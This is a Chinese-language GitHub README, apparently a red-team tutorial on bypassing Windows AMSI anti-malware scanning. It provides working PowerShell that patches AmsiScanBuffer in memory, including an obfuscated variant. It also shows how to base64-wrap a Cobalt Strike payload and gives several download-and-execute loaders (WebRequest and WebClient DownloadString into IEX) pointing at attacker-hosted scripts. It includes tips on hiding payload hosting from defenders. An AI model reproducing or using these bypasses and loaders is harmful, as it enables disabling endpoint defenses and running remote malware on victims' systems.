Skip to content

liangzai-ff/Bypass-AMSI

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

34 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

反病毒接口AMSI的浅析和绕过

前言

如果觉得这篇文章能帮到你,请点击右上角的star支持一下,非常感谢!

AMSI简介

许多内网场景或处于红队评估的渗透测试者很可能遇到过 AMSI 并且熟悉它的功能。AMSI 增强了对攻击期间常用的一些现代工具、策略和程序 (TTP) 的使用保护,因为它提高了反恶意软件产品的可见性。最相关的例子是 PowerShell 无文件加载,它已被一些APT组织和恶意软件制作商广泛研究。如今越来越多的防病毒厂商正在接入AMSI防病毒接口,因此在当下,如何去规避AMSI,成为红队渗透测试者不可避免的话题。

如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。

打开PowerShell时amsi.dll自动加载

image

这是在 Windows 10 上实现 AMSI 的所有组件的列表:

用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)、 PowerShell(脚本、交互式使用和动态代码评估)、Windows 脚本宿主(wscript.exe 和 cscript.exe)、JavaScript 和VBScript Office VBA 宏

(请注意,AMSI 不仅用于扫描脚本、代码、命令或 cmdlet,还可以用于扫描任何文件、内存或数据流,例如字符串、即时消息、图片或视频。)

0x01.字符串绕过AMSI

AMSI使用“基于字符串”的检测措施来确定PowerShell代码是否为恶意代码,如: image

这边简单介绍几种:

1.用Replace函数去替换字符串内容

image

2.字符串断点+拼接

image

3.手工操作

调试器附加并定位AmsiScanBuffer函数

image

修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。

image

绕过AMSI

image

0x02.通过修补 AMSI.dll 的操作码绕过ASMI

1.用cobaltstrike生成一个pyaload.ps1()

image

image

使用C#加密器对整个ps1文件进行base64加密(也可用base64加密解密网站:https://www.qqxiuzi.cn/bianma/base64.htm 注意:在加密之前删除无用的空行,避免出现解密时出现错误)

image

重新创建一个文件命名为pay.ps1,将上面的base64密文复制粘贴到下面代码的$decryption字符串变量中

image

这里就是一个常用的base64的解密公式,然后用IEX去执行解密后的密文

解密后的变量 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后的变量)); 

但是amsi.dll对IEX是有严格限制的,直接执行解密密文必然会被拦截,因此这里我们需要一段破坏或者劫持amsi.dll的ps代码

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

当然如果你怕代码被云防护标记的话,可以添加一些混淆,比如说字符串的分裂和拼接,或者转换成ASCLL字符码

#导入API 函数
$ftkgk = @"
using System;
using System.Runtime.InteropServices;
public class ftkgk {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr gusdon, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ftkgk
#通过 rasta-mouse 修补 amsi.dll AmsiScanBuffer
$lospbeo = [ftkgk]::LoadLibrary("$(('âms'+'í.d'+'ll').NOrMALiZe([cHAr](58+12)+[cHAR](111+96-96)+[cHAr](114+68-68)+[char](109+99-99)+[chAR]([bYte]0x44)) -replace [CHAr](92+22-22)+[CHaR](112)+[cHAr]([bYTE]0x7b)+[ChaR]([BYTe]0x4d)+[chAR]([byTE]0x6e)+[ChaR](125))")
$bhijoj = [ftkgk]::GetProcAddress($lospbeo, "$(('ÁmsìScànB'+'uffer').NOrmalizE([ChaR](70+60-60)+[chAR](111+76-76)+[chaR](114)+[char](109*69/69)+[CHAr]([ByTE]0x44)) -replace [ChaR](74+18)+[ChAR]([BYTE]0x70)+[cHAr](123)+[cHaR](77+31-31)+[CHar](110+64-64)+[Char](125+30-30))")
$p = 0
[ftkgk]::VirtualProtect($bhijoj, [uint32]5, 0x40, [ref]$p)
$jniv = "0xB8"
$kgmv = "0x57"
$odgn = "0x00"
$zalk = "0x07"
$cfun = "0x80"
$macm = "0xC3"
$hquzq = [Byte[]] ($jniv,$kgmv,$odgn,$zalk,+$cfun,+$macm)
[System.Runtime.InteropServices.Marshal]::Copy($hquzq, 0, $bhijoj, 6)

将混淆过后的代码插入解密代码中(pay.ps1)

image

放在windows defender环境下用PowerShell无文件执行即可

image

可以看到可以绕过微软,能执行一些基本的命令,但是dumplsass可能会下线。

绕过原理

绕过的关键是这段代码可以阻断amsi.dll中AmsiScanBuffer()这个函数的扫描进程,目前来说,这种方法可以百分之百绕过AMSI

2018 年 5 月,CyberArk 发布了 POC 代码,通过修补其功能之一,即 AmsiScanBuffer() 来绕过 AMSI

AmsiScanBuffer 的API原型

HRESULT AmsiScanBuffer(
	HAMSICONTEXT amsiContext,
	PVOID buffer,   //缓冲区
	ULONG length,   //长度
	LPCWSTR contentName,
	HAMSISESSION amsiSession,
	AMSI_RESULT *result 
);

如您所见,此函数获取要扫描的所需缓冲区和缓冲区长度。其中一个参数“长度”本质上是绕过的关键。此参数包含要扫描的字符串的长度。如果通过某种方式将参数设置为常数值 0,则 AMSI 将被有效地绕过,我们需要做的就是在保存缓冲区长度的函数中修补寄存器。通过这样做,扫描将在零长度上执行。这是通过在运行时修补 AMSI.dll 的操作码来实现的。

绕过AMSI的代码基本流程为:

创建一个powershell进程

获取amsiscanbuffer函数地址

修改函数内存空间属性

修补函数执行体

使用GetProcAddress()函数获取 AmsiScanBuffer() 的句柄,找到amsi.dll中amsiscanbuffer()待修补的地址

image

还有其他方法可以实现这一点。SecureYourIt 一篇博客文章(https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/)

显示了不同的定AmsiScanBuffer的方法。不过不是直接将句柄设置为AmsiScanBuffer(),而是首先将句柄设置为“AmsiUacInitialize()。从句柄中减去值 256 随后将导致句柄指向“AmsiScanBuffer()。

image

在上面的示例中,句柄设置为“AmsiUacInitialize()”,尽管你可以在技术上使用 Amsi.dll 中的任何函数。这种方法在针对“AmsiScanBuffer()”创建签名的情况下很有用。

0x03.分离免杀:抛弃 net webclient 远程加载方式(一)

首先我们需要对远程托管的Powershell样本进行免杀处理,然后在客户端用PowerShell脚本命令去读取远程托管的样本,并用IEX执行

这边用Stageless生成一个体积较大的powershell样本,因为样本是远程托管的,所以体积越大越好,这样混淆手法越丰富,发挥空间也越大就越难被检测出来(这边生成的体积大约是300-400Kb)

image

image

对样本进行base64加密并放入字符串变量,写好解密公式,尽可能用Replace函数去替换变量中字符串以此规避AMSI的字符串特征扫描

image

当然你还可以 加一些破坏amsi.dll的代码、进行异或加密解密或者是一些无用的混淆代码

远程加载代码:抛弃net webclient的方式

这里采用.net中的webrequest去请求远程恶意样本内容、读取样本、并执行样本。其实加载原理都是用IEX去执行远程的样本内容,大同小异,这边只是修改了一些特征,这里执行的前提是远程加载的powershell样本也得免杀,我们通常会将样本放置在网页可以访问的web服务器上,但是这同时也带来了风险,因为有些高级防病毒软件会标记一些恶意的公网IP(比如说卡巴斯基、小红伞),如果你将样本托管GitHub,虽然虽不会被防病毒标记,但是在实战攻防中非常容易就被蓝队溯源出个人信息,这边推荐一个可以在公网上挂起文本并且合法的网站https://paste.ee/


$webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’)
$resp=$webreq.GetResponse()
$respstream=$resp.GetResponseStream()
$reader=[System.IO.StreamReader]::new($respstream)
$content=$reader.ReadToEnd()
IEX($content)

我们可以用replace函数添加一些符号或者数字去混淆、替换暴露出来的IP地址

image

当然有IEX的地方amsi.dll肯定会重点扫描,你必须在IEX执行之前就破坏它,因此这里可以在$content=$reader.ReadToEnd()和IEX($content)插入破坏amsi.dll的代码。

注意:(这里远程托管的PowerShell样本必须免杀AMSI,否则加载后一分钟左右会报毒)

image

0x04.远程加载方式(二)

IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:8000/bypass.txt'.))

同样的我们可以通过Replace函数去替换字符串来混淆IP地址

IEX ((new-object net.webclient).downloadstring("http://10.@!#$%^&*()21@!#$%^&*()2.202.188@@@@@:8000/byp**************ass.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************',''))

image

0x05.远程加载方式(三)

IEX([Net.Webclient]::new().DownloadString("http://0.0.0.0:8000/bypass.txt".))

这个方法和方式二类似,本质上还是用WebClient去连接服务端的方式去读取web端的样本内容

混淆后的样本为

IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%','')))

image

绕过思路总结

1.破坏反病毒的扫描进程或者劫持amsi.dll都可以有效地去绕过AMSI,其次,amsi.dll可以用WinDbg等软件进行调试,可用于逆向工程、反汇编和动态分析。在调试中,WinDbg 将附加到运行 PowerShell 的进程,以分析 AMSI。

2.使用IEX和webclient远程加载powershell进程,虽然方式比较简单,但是进程容易被杀死,cs执行高危操作会马上掉线。当进程被挂钩的同时,想绕过更多的防病毒软件和EDR会变得困难。因此实战中红队人员通常会把PowerShell代码注入到合法的进程中,或者利用父进程欺骗去进一步完成高权限的提升

3.0x02的加载方式显然比较稳定,比起webclient,WebRequest相对特征不那么明显,因此每种加载方式都有优劣之处

4.当powershell进程中出现某个字符串被禁用时,多使用几个Replace函数去替换去混淆,在一定程度上可以做到动态绕过的效果

请不要将样本上传至公网沙箱,谢谢

微信联系

092085746420d71c94b43382d755b60

参考链接:

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • PowerShell 100.0%